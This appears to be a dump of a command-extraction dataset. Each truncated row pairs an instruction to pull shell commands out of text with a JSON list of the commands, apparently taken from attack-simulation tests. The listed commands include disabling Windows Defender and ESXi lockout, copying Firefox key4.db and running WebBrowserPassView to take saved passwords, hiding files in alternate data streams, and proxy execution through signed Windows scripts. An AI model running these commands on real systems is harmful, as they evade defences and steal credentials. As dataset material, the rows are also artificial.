An attacker might disabl... | {"command_list": ["Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false \nConnect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}\nGet-AdvancedSetting -Entity #{vm_host} -Name 'Security.AccountLockFailures' | Set-AdvancedSetting -Value '0' -Confirm:$fals... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
For executing custom cod... | {"command_list": ["set DOTNET_STARTUP_HOOKS=\"#{preloader_dll}\"\ndotnet -h > nul\necho.\n", "reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /t REG_DWORD /v HideFileExt /d 1 /f\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
This PowerShell script c... | {"command_list": ["echo \"test\" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value \"test\"\nset-content -path #{file_name} -stream #{ads_filename} -value \"test2\"\nset-content -path . -stream #{ads_filename} -value \"test3\"\n", "md #{folder_name}\necho too many secrets > #{folder_name}\\#{hi... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To disable the Windows l... | {"command_list": ["reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoLogOff /t REG_DWORD /d 1 /f\nreg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v StartMenuLogOff /t REG_DWORD /d 1 /f\n", "reg add \"HKEY_CURRENT_USER\\S... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
You can disable Windows ... | {"command_list": ["Set-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" -Name DisableAntiSpyware -Value 1\n", "New-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\"\nNew-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\"\nNew-Item -Path \"HKCU:\\Software\\Micros... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
This test leverages WebB... | {"command_list": ["Start-Process \"#{webbrowserpassview_path}\"\nStart-Sleep -Second 4\nStop-Process -Name \"WebBrowserPassView\"\n", "$profile = (Gci -filter \"*default-release*\" -path $env:Appdata\\Mozilla\\Firefox\\Profiles\\).FullName\nCopy-Item $profile\\key4.db -Destination \"PathToAtomicsFolder\\..\\ExternalPay... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To execute the signed Sy... | {"command_list": ["C:\\windows\\system32\\SyncAppvPublishingServer.vbs \"\\n;#{command_to_execute}\"\n", "set comspec=#{command_to_execute}\ncscript %windir%\\System32\\manage-bde.wsf\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
This example from the 20... | {"command_list": ["powershell.exe -e #{obfuscated_code}\n", "$malcmdlets = #{Malicious_cmdlets}\nforeach ($cmdlets in $malcmdlets) {\n \"function $cmdlets { Write-Host Pretending to invoke $cmdlets }\"}\nforeach ($cmdlets in $malcmdlets) {\n $cmdlets}\n"]} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.